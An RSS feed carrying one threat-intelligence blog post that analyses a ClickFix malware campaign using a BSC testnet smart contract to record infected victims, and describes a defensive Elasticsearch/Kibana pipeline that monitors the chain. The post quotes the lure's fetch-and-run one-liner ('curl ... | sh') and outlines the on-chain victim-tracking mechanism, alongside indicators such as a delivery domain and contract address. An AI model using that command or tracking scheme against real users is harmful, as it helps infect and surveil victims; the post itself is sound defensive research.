<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Forenser on Medium]]></title>
        <description><![CDATA[Stories by Forenser on Medium]]></description>
        <link>https://medium.com/@forenser84?source=rss-6f81f8ad1218------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Bwos-on3BfnL6-Lu</url>
            <title>Stories by Forenser on Medium</title>
            <link>https://medium.com/@forenser84?source=rss-6f81f8ad1218------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:20:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@forenser84/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[EtherHiding Revisited: When Attackers Use Blockchain to Track Victims]]></title>
            <link>https://medium.com/@forenser84/etherhiding-revisited-when-attackers-use-blockchain-to-track-victims-0c4d6ce5e8c5?source=rss-6f81f8ad1218------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c4d6ce5e8c5</guid>
            <dc:creator><![CDATA[Forenser]]></dc:creator>
            <pubDate>Wed, 01 Jul 2026 09:49:55 GMT</pubDate>
            <atom:updated>2026-07-01T09:49:55.893Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>EtherHiding has been documented as a technique where attackers use public blockchains — typically via eth_call against a smart contract — to host or resolve C2 infrastructure. Mandiant, Sekoia, and Guardio have each covered variants of this pattern, generally framed around one of two use cases: dead-drop C2 resolution, or on-chain payload storage.</p><p>While reverse-engineering a recent ClickFix campaign, I found a third pattern that doesn’t fit cleanly into either bucket: the contract isn’t storing anything for the attacker to retrieve. It’s recording something about the <em>victim</em>.</p><blockquote><em>Blockchain isn’t just attacker infrastructure — it’s also a persistent, public, timestamped ledger of victim engagement. And that makes it a telemetry source for defenders, not just a resilience mechanism for attackers.</em></blockquote><p>This post walks through the kill chain, the on-chain mechanics, and the pipeline I built to turn that public ledger into a monitoring dashboard.</p><h3>Part 1 — EtherHiding as Attacker Infrastructure (Baseline)</h3><p>The established pattern:</p><pre>eth_call(contract, functionSelector) → ABI-decode return value → extract C2 domain / payload</pre><p>The 4-byte function selector (first 4 bytes of keccak256(functionSignature)) is typically hardcoded in the malicious JS or a stager, meaning defenders can extract it statically even without a full ABI. The contract acts as a decentralized dead drop:</p><ul><li><strong>Immutability</strong> — once written, attacker config can’t be silently altered by a third party</li><li><strong>Resilience</strong> — no single server to take down; killing the campaign means abandoning the contract entirely, not just rotating a domain</li><li><strong>Low operational cost</strong> — read calls (eth_call) don&#39;t require gas or a signed transaction, so victim-side queries are free and leave no wallet trail</li><li><strong>Update-in-place</strong> — attacker rotates config by sending a new state-changing transaction, rather than redeploying infrastructure</li></ul><p>This model is well-covered in prior research, including multi-chain variants that split staging (BSC) from resolution (Polygon).</p><h3>Part 2 — ClickFix: The Delivery Mechanism</h3><p>The sample sits in the ClickFix family — social engineering, not exploitation.</p><p><strong>Infection flow:</strong></p><ol><li>Victim lands on a compromised or malicious page</li><li>Client-side JS runs environment checks:</li></ol><ul><li>headless/sandbox/bot detection (checking for automation artifacts, viewport anomalies, etc.)</li><li>OS fingerprinting to branch the lure (macOS vs. Windows payloads differ)</li></ul><ol><li>A fake CAPTCHA/verification prompt is rendered</li><li>The victim is walked through: Win+R (or Terminal on macOS) → paste → execute</li><li>The pasted command is a clipboard-injected one-liner:</li></ol><pre>curl -s &lt;stage-2-url&gt; | sh</pre><p>No exploit chain, no memory corruption — the “vulnerability” being exploited is user trust in a fake system dialog. This is precisely why detection based on payload signatures alone tends to lag: the entry point is behavioral, not binary.</p><h3>Part 3 — The On-Chain Victim-Tracking Mechanism</h3><p>This is the novel part. Buried in the stage-1 JS, alongside the expected eth_call pattern, was a <strong>second</strong> contract interaction that didn&#39;t match a config-retrieval shape.</p><h3>Victim ID generation</h3><ul><li>A client-side identifier (usr_id) is generated in-browser</li><li>Stored in a cookie with a ~2-day expiry, so returning visitors are recognized as the same victim rather than re-triggering the lure</li><li>Passed as a string parameter into contract calls</li></ul><h3>The read path (deduplication check)</h3><pre>eth_call → isGoalReached(usr_id) → bool</pre><p>Before showing the lure, the script checks whether this usr_id has already been marked. If true, the flow short-circuits — the victim doesn&#39;t see the CAPTCHA/lure again. This is a <strong>conversion gate</strong>, not a payload gate.</p><h3>The write path (conversion marking)</h3><p>Separately, I observed signed transactions (not eth_call, but actual state-changing txs, meaning the sender paid gas and the write is now permanently in the chain&#39;s history) with decoded input data carrying string values matching the usr_id format, e.g.:</p><pre>ql231w2x</pre><p>Decoding the calldata against the function selector confirms a single string parameter — no encoded URL, no payload blob, just an identifier.</p><h3>Interpreting the read/write pair</h3><p>Call typeFunction (observed pattern)Purposeeth_call (read, free)isGoalReached(usr_id)Has this victim already converted?tx (write, gas-paying)markConverted(usr_id) <em>(inferred name)</em>Mark victim as successfully infected</p><p>This is functionally a <strong>conversion-tracking gate</strong>, not a payload store. The contract’s job isn’t to give the malware something — it’s to give the <em>attacker</em> something: a deduplicated count of successful infections, written by an infrastructure component that never has to be a server the attacker maintains.</p><h3>Why testnet, specifically</h3><p>The contract lives on <strong>BSC testnet</strong>, not mainnet. That’s a deliberate choice, not sloppiness:</p><ul><li>Testnet BNB is free from public faucets — no funded wallet needed to deploy or write, which removes a financial/on-chain-forensics trail that mainnet gas payments would create</li><li>Testnet explorers and RPC endpoints are less actively monitored by threat intel tooling than mainnet</li><li>Functionally identical read/write semantics to mainnet — the attacker loses nothing in reliability</li></ul><p>This is itself a detection signal: <strong>legitimate production infrastructure essentially never depends on testnet contracts.</strong> A campaign wiring victim tracking through testnet.bscscan.com-visible infrastructure is an anomaly worth flagging on its own.</p><h3>Part 4 — Infrastructure Behind the Contract</h3><p>Stage-2/3 delivery didn’t use wildcard DNS. Instead, subdomains appeared to be <strong>dynamically provisioned per victim</strong> at delivery time, rather than pre-registered — consistent with an orchestration layer that spins up delivery infrastructure on demand and tears it down quickly. By the time I went back to pull stage-3 payloads for static analysis, the delivery domain (abt90kade.com and its observed subdomains) had already rotated or gone dark.</p><blockquote><em>Missing artifacts here aren’t a research gap — they’re evidence of intentionally ephemeral infrastructure design. The absence of a live payload is itself a data point about operational maturity.</em></blockquote><h3>Part 5 — From Public Ledger to Dashboard: Building the Monitoring Pipeline</h3><p>Read/write calls being public and timestamped only matters if you can actually watch them. Here’s the pipeline I built to turn the on-chain activity into something queryable.</p><h3>5.1 Extraction (Python)</h3><p>A Python collector polls the BSC testnet RPC endpoint (or testnet.bscscan.com&#39;s paid API) for transactions against the tracked contract address, then:</p><ol><li>Filters to the relevant function selector(s) (isGoalReached reads are visible via eth_call traces if you&#39;re running your own node/archive access; markConverted-style writes are visible directly in the transaction list)</li><li>ABI-decodes the calldata to recover the usr_id string parameter</li><li>Normalizes each event into a JSON document:</li></ol><pre>{<br>  &quot;tx_hash&quot;: &quot;0x...&quot;,<br>  &quot;block_number&quot;: 123456,<br>  &quot;block_timestamp&quot;: &quot;2026-06-28T14:32:01Z&quot;,<br>  &quot;victim_id&quot;: &quot;ql231w2x&quot;,<br>  &quot;call_type&quot;: &quot;write&quot;,<br>  &quot;contract_address&quot;: &quot;0x[REDACTED]&quot;,<br>  &quot;chain&quot;: &quot;bsc-testnet&quot;<br>}</pre><ol><li>Deduplicates on victim_id + call_type to avoid double-counting retries</li></ol><h3>5.2 Loading into Elasticsearch</h3><p>The collector bulk-indexes documents into an Elasticsearch 8.15 index (etherhiding-victims-*, daily rollover) using the _bulk API. Key mapping decisions:</p><ul><li>block_timestamp as a native date field — this is what makes the Kibana timeline view work</li><li>victim_id as keyword (not text) since it&#39;s an exact-match identifier, not something you want tokenized/analyzed</li><li>contract_address as keyword for the same reason, and to support terms aggregations if you&#39;re tracking multiple contracts across campaign variants</li></ul><h3>5.3 Kibana import / dashboard setup</h3><p>Once the index exists and has documents:</p><ol><li><strong>Create the data view</strong> (Stack Management → Data Views) pointing at etherhiding-victims-*, with block_timestamp as the time field — this is what lets every visualization respect the global time picker.</li><li><strong>Import the dashboard</strong> via Saved Objects: Stack Management → Saved Objects → Import, and upload the .ndjson export ([dashboard-export-filename].ndjson) containing the pre-built visualizations. If you&#39;re rebuilding from scratch instead of importing, the core panels are:</li></ol><ul><li><strong>Victims over time</strong> — a date histogram on block_timestamp, split by call_type, to show read (lure-shown) vs. write (converted) volume side by side — this is what makes infection <em>waves</em> visible rather than just a running total.</li><li><strong>Conversion rate</strong> — a metric/ratio visualization: unique victim_id count where call_type: write divided by unique victim_id count where call_type: read. This approximates the lure&#39;s actual success rate.</li><li><strong>Victim table</strong> — a data table of victim_id, first-seen timestamp, last-seen timestamp, and current status (seen-only vs. converted), useful for spot-checking specific IDs against other telemetry.</li><li><strong>Contract activity map</strong> <em>(if tracking multiple contracts/chains)</em> — terms aggregation on contract_address, to catch infrastructure rotation early.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wg_C_EEBKPdBYdgcquN-qQ.png" /></figure><p>This closes the loop: a technique attackers chose specifically because it avoids logs a defender can seize becomes, in practice, a dataset a defender can query — continuously, and without needing a live malware sample in hand.</p><h3>Part 6 — Why This Matters for Defenders</h3><ol><li><strong>Campaign discovery without samples</strong> — unusual contract call patterns, repeated string-parameter shapes, and testnet usage are all detectable from chain activity alone, before you ever touch a binary.</li><li><strong>Victim estimation</strong> — every write transaction is a real, attacker-cannot-hide-it data point. You can build infection timelines and detect waves directly from public chain data.</li><li><strong>Infrastructure evolution tracking</strong> — where contracts do store domains/payloads (the “classic” EtherHiding pattern), monitoring state changes gives early warning of C2 rotation.</li><li><strong>Payload extraction without execution</strong> — when payloads <em>are</em> on-chain, defenders can pull and statically analyze them without ever running the malware.</li></ol><h3>Future Work</h3><p>This post covers a single campaign snapshot. A few directions are already in progress and will likely form the basis of a follow-up post:</p><p><strong>Detecting related contracts.</strong> BscTestnetScan’s <a href="https://testnet.bscscan.com/find-similar-contracts?a=0xf4a32588b50a59a82fba148d436081a48d80832a">find-similar-contracts</a> tool supports exact bytecode matching, which is the right first filter — it tells you “this is the same contract redeployed,” as opposed to a variant or a coincidental pattern match.</p><p><strong>Automated C2 config-change monitoring → ThreatFox.</strong> Where a contract stores C2 config directly (the classic EtherHiding pattern, as opposed to the victim-tracking gate covered here), the extraction pipeline from Part 5 can be extended to diff contract state on each poll interval and push new/changed C2 values to <a href="https://threatfox.abuse.ch/">ThreatFox</a> via their submission API as soon as a change is detected — turning private monitoring into public, timestamped community IOC data with essentially no manual step in between.</p><p><strong>Correlating attacker activity across campaigns.</strong> Wallet addresses, deployment timing, and shared method selectors are all reusable fingerprints even when domains and contract addresses rotate. Cross-referencing these against other known EtherHiding campaigns is the next step toward attribution rather than single-campaign analysis.</p><p><strong>Monitoring evolution over time.</strong> Keeping a continuous watch on tracked contracts (and any newly discovered via the above) turns this from a one-time finding into a running dataset — the same read/write mechanism documented here could evolve, and having a baseline makes that evolution visible instead of requiring rediscovery from scratch.</p><p><em>A follow-up post will dig into whether this contract — or a variant of it — shows up across other campaigns, and what the ThreatFox-integrated pipeline surfaces once it’s been running for a few weeks.</em></p><h3>Limitations</h3><p>Stage-3 payload retrieval wasn’t possible in this case — infrastructure had rotated by the time I revisited it. That’s expected given the dynamic-subdomain provisioning observed in Part 4, and it doesn’t undermine the on-chain findings, which remain independently verifiable by anyone with an RPC endpoint and the contract address.</p><h3>Conclusion</h3><p>The properties attackers chose blockchain for — immutability, decentralization, resilience — are exactly the properties that make it valuable to defenders once you know where to look. EtherHiding isn’t just C2 anymore. In this campaign, it’s a victim ledger, written in public, by the attacker, with a timestamp on every entry.</p><h3>Appendix</h3><ul><li><strong>Delivery domain:</strong> abt90kade.com (rotated/inactive at time of testing)</li><li><strong>Technique:</strong> ClickFix + EtherHiding (victim-tracking variant)</li><li><strong>Chain:</strong> BSC testnet</li><li>Contract adress: 0xf4a32588b50a59a82fba148d436081a48d80832a</li><li><strong>Pattern:</strong> on-chain usr_id read/write as conversion-tracking gate</li><li><strong>Prior work:</strong> builds on EtherHiding research from <a href="https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware?hl=en">Mandiant</a>, <a href="https://www.sekoia.com/blog/unveiling-errtraffic-inside-a-growing-clickfix-malware-distribution-framework">Sekoia</a> and <a href="https://abekweng.medium.com/inside-a-blockchain-hosted-malware-campaign-targeting-windows-and-macos-f5bcdeffed66">AL QUDRI</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c4d6ce5e8c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>